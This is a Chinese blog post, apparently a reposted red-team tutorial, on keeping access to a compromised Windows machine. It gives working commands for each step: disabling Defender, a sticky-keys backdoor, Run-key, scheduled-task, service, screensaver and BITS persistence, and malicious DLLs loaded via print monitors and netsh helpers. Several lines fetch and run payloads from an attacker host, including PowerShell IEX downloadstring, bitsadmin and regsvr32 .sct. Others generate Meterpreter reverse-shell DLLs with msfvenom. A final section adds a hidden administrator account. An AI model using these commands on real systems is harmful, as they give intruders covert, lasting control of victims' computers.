zoukankan      html  css  js  c++  java
  • 内网 | windows单机权限维持

    windwos单机权限维持

    前言:win10关闭windows defender

    reg add "HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f

    然后重启~

    以下大部分操作需要bypass uac

    开机启动目录

    权限:都可以
    放在该目录下的程序在用户启动时候会自动登录。
    nt以后的目录

    对当前用户有效:
    C:UsersUsernameAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
    对所有用户有效:
    C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp

    nt6以前的目录:

    对当前用户有效:
    C:Documents and SettingsHunter「开始」菜单程序启动
    对所有用户有效:
    C:Documents and SettingsAll Users「开始」菜单程序启动

    shift 键后门

    权限:trust install

    路径:C:windowssystem32sethc.exe

    我们替换sethc.exe需要trustinstall的权限。

    直接把我们的exe替换成sethc.exe名字也变,当管理员5次shift的时候就会上线。

    在老版本的empire中可以自动实现,但是bc-security的empire中没有相应的模块。

    注册表run键注入后门(注册表自启动)

    权限:提权不提权都可以。

    添加一个木马程序的路径,实现开机自启动。

    常用的注册表启动键有:

    Run键
    HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
    HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
    WinlogonUserinit键
    HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsNTCurrentVersionWinlogon
    HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWinlogon

    类似的还有很多,关键词:注册表启动键值。

    原理

    其实是在以下路径下生成一个vbs文件,然后把该文件的路径放到注册表中然后自启动

    C:UsersplumeAppDataLocalTemp

    这里的run键其实分为当前用户的run键,以及本地计算机的run键:
    当前用户的run键:

    reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"

    reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"

    reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"

    reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v Pentestlab /t REG_SZ /d "C:Userspentestlabpentestlab.exe"

    本地计算机的run键:

    reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C: mppentestlab.exe"

    reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce" /v Pentestlab /t REG_SZ /d "C: mppentestlab.exe"

    reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices" /v Pentestlab /t REG_SZ /d "C: mppentestlab.exe"

    reg add"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce" /v Pentestlab /t REG_SZ /d "C: mppentestlab.exe"

    再下面的两个位置可以放任意的有效负载或DLL来实现持久性。

    reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001" /v Pentestlab /t REG_SZ /d "C: mppentestlab.exe"

    reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Dep end" /v Pentestlab /t REG_SZ /d "C: mppentestlab.dll"

    手动利用方式

    将msf生成的反弹shell的exe路径加入注册表中。(这里的路径无论是哪个都行)

    reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "C:cnm.exe"

    这里的命令框需要管理员权限。

    msf利用方式

    在这里我们先msf进行一个上线。

    在msf中有一个persistence的模块他其实就是利用,注册变启动项后门的

    run persistence -h查看帮助

    run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 10.0.2.21

    -X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的IP,这里的端口最好别是当前建立监听的端口。

    我们测试一下以上方式

    然后将虚拟机关机。

    连接已经掉了。

    然后再msf中设置外联:

    其他可以权限维持的注册键

    
    1.Load注册键
    HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
    
    2.Userinit注册键
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
    通常该注册键下面有一个userinit.exe。该键允许指定用逗号分隔的多个程序,如userinit.exe,evil.exe。
    
    3.Explorer\Run注册键
    Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
    
    4.RunServicesOnce注册键
    RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序,在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\RunServicesOnce
    
    5.RunServices注册键
    RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ RunServices
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunServices
    
    6.RunOnce\Setup注册键
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
    
    7.RunOnce注册键
    安装程序通常用RunOnce键自动运行程序,它的位置在
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
    [小于NT6]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前;HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。
    
    8.Run注册键
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    Run是自动运行程序最常用的注册键,HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。
    
    

    计划任务后门

    权限要求:未降权的管理员权限/普通用户。

    原理

    其实就是在msf中启动一个web,然后系统重启时候,我们固定去下载。感觉这里本地去计划去启动一个exe也是可以的

    msf利用方式

    use exploit/multi/script/web_delivery
    set payload windows/x64/meterpreter/reverse_tcp
    set LHOST 10.0.2.21
    set target 5
    exploit

    在命令提示符下,“ schtasks ”可执行文件可用于创建计划任务,该任务将在每个Windows登录中以 SYSTEM的形式下载并执行基于PowerShell的有效负载。win7以及之前的版本使用at,win8以及之后的版本使用schtasks.

    schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.64.136:8080/9NaSf4QA'''))'" /sc onlogon /ru System

    结果如下:

    服务后门

    权限:未降权的管理员权限。

    命令行实现

    sc create pentestlab binpath= "cmd.exe /k C:cnm.exe" start="auto" obj="LocalSystem"

    sc start pentestlab

    其实就是启动一个服务来的

    msf利用

    metsvc模块

    run metsvc –h # 查看帮助
    run metsvc –A #自动安装后门
    run metsvc -r #卸载现有的meterpreter服务(已生成的文件需要自己删除)

    屏幕保护后门

    权限要求:普通用户。

    原理

    涉及到以下几个注册表的位置

    HKEY_CURRENT_USERControl PanelDesktopSCRNSAVE.EXE
    HKEY_CURRENT_USERControl PanelDesktopScreenSaveActive
    HKEY_CURRENT_USERControl PanelDesktopScreenSaverIsSecure
    HKEY_CURRENT_USERControl PanelDesktopScreenSaveTimeOut

    可以通过命令提示符或从PowerShell控制台修改或添加注册表项。由于.scr文件本质上是可执行文件, 因此两个扩展名都可以用于后门植入。

    reg add "hkcucontrol paneldesktop" /v cnm.EXE /d c:cnd.exe
    reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:cnm.scr

    New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' - Value 'c:cnm.exe'

    New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' - Value 'c:cnm.scr'

    利用屏幕保护程序的持久性技术的问题在于,当用户返回并且系统未处于空闲模式时,会话将中断。但 是,红队可以在用户不在时执行其操作。如果屏幕保护程序被组策略禁用,则该技术不能用于持久性。

    只有在管理员不动,且生成屏保的时候才会反弹回来,且在屏保消失后断开。。。。。这里我是没有复现成功的

    其他师傅的踩坑记录:
    屏保程序的正常运行必须保证这几个键都有数据才可以,因此必须把4个键都重写一遍。另外,经测试屏保程序最短触发时间为60秒,即使改成小于60的数值,依然还是60秒后执行程序。

    所以应该把四个键都写一遍

    reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d C:UsershunterDesktopeacon.exe /f
    reg add "hkcucontrol paneldesktop" /v ScreenSaveActive /d 1 /f
    reg add "hkcucontrol paneldesktop" /v ScreenSaverIsSecure /d 0 /f
    reg add "hkcucontrol paneldesktop" /v ScreenSaveTimeOut /d 60 /f
    

    BITS 权限维持

    权限要求:管理员权限(不必过UAC)。

    
    Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务。这些实用程序之一 是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传 输能力。Microsoft提供了一个名为“ bitsadmin ” 的二进制文件和PowerShell cmdlet,用于创建和 管理文件传输。
    从攻击的角度来看,可以滥用此功能,以便在受感染的主机上下载有效负载(可执行文件, PowerShell脚本,Scriptlet等)并在给定时间执行这些文件,以在红队操作中保持持久性。但是,与“ bitsadmin ” 进行交互需要管理员级别的权限。执行以下命令会将恶意有效负载从远程位置下载到本地 目录。
    

    将msf生成的的反向链接exe,放在www的html下面(注意这时候的exe的属性--安全要设置为user,直到外部能够访问呢)
    下载cmd命令如下:

    bitsadmin /transfer backdoor /download /priority high http://192.168.64.136/cnd.exe C:cnd.exe

    powershell命令:

    Start-BitsTransfer -Source "http://192.168.64.136/cnd.exe" -Destination "C:1.exe"

    然后执行下面的命令:

    bitsadmin /create 123

    bitsadmin /addfile 123 "http://192.168.64.136/cnd.exe" "C:cnd.exe"

    bitsadmin /SetNotifyCmdLine 123 C:cnd.exe NUL

    bitsadmin /SetMinRetryDelay "123" 60

    bitsadmin /resume 123

    当我们作业在系统上执行的时候就会反弹回来

    msf的利用

    use exploit/multi/script/web_delivery
    set target 3
    set payload windows/x64/meterpreter/reverse_tcp
    set LHOST 192.168.64.136
    exploit

    bitsadmin /SetNotifyCmdLine abc regsvr32 /s /n /u /i:http://192.168.64.136:8080/O0srhRjtNH2qQ38.sct scrobj.dll

    时间服务器权限维持(dll)

    原理

    Windows操作系统正在利用时间提供者体系结构,以便从网络中的其他网络设备或客户端获取准确的 时间戳。时间提供者以DLL文件的形式实现,该文件位于System32文件夹中。Windows启动期间将启 动服务W32Time并加载w32time.dll。DLL加载是一种已知的技术,通常使红队攻击者有机会执行任 意代码。

    由于关联的服务会在Windows启动期间自动启动,因此可以将其用作持久性机制。但是,此方法需要 管理员级别的特权,因为指向时间提供者DLL文件的注册表项存储在HKEY_LOCAL_MACHINE中。 根据系统是用作NTP服务器还是NTP客户端,使用以下两个注册表位置。

    总的来说其实就是将恶意的dll放在注册表中时间服务的位置.然后操作系统同步时间的时候就启动喽。

    msf利用方式

    先生成恶意的dll,然后将其的位置加载到注册表中win32time服务调用的地方,就可以权限维持,但是这个方法我在复现的时候失败了.........
    淦!!!又失败了

    其实dll权限维持是非常隐蔽的。

    后台打印权限维持(dll)

    权限要求:未降权的管理员权限。

    原理

    后台打印程序服务负责管理Windows操作系统中的打印作业。与服务的交互通过打印后台处理程序API 执行,该API包含一个函数(AddMonitor),可用于安装本地端口监视器并连接配置、数据和监视器 文件。此函数能够将DLL注入spoolsv.exe进程,并且通过创建注册表项,red team operator可以在系 统上实现持久性。

    其实总的来说就是,打印后台处理程序的api包含一个AddMonitor函数,他会将恶意的dll注入到spoolsv.exe进程。

    msf利用方式

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.136 LPORT=4444 -f dll > /root/1/test.dll

    生成一个恶意的dll,然后将它改名为monitor.dll,我们将改dll放在C:WindowsSystem32路径下。

    然后执行以下命令,需要管理员的cmd:

    reg add "hklmsystemcurrentcontrolsetcontrolprintmonitorsmonitor" /v "Driver" /d "monitor.dll" /t REG_SZ

    重启后用户没有登陆就可以获得shell.

    netsh权限维持(dll)

    权限要求:未降权的管理员权限。

    原理

    netsh也是Windows自带的命令,是用来配置网络的命令行工具。该工具可以通过导入helperdll的方式实现功能,且DLL导入后会写进注册表,永久有效:

    msf利用方式

    拿到meter后~

    现生成恶意的dll:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.136 LPORT=4445 -f dll > /root/1/test2.dll

    然后上传。

    在shell中通过导入helperdll的方式做权限维持,命令格式如下:

    netsh add helper [DLL path]

    然后将netsh加到自启动中

    reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun" /v Pentestlab /t REG_SZ /d "cmd /c C:WindowsSystem32 etsh"

    如下

    影子账户权限维持

    net user test test123456 /add

    net localgroup administrators $test /add

    看了网上影子账户权限维持的文章挺尴尬的,因为win10注册表没有对应的键。

  • 相关阅读:
    Spring IOC
    MyBatis环境搭建
    Spring AOP
    DWR在Spring中应用
    利用反射自动封装成实体对象
    Spring源码下载
    You need to use a Theme.AppCompat theme (or descendant) with this activity解决方法
    由于未能创建 Microsoft Visual C# 2010 编译器,因此未能打开项目 "xxx" ”的解决方法
    正则表达式
    安卓模拟器里面的cpu/abi里面有AMD、intel x86、mlps应该选择哪个
  • 原文地址:https://www.cnblogs.com/J0ng/p/14238297.html
Copyright © 2011-2022 走看看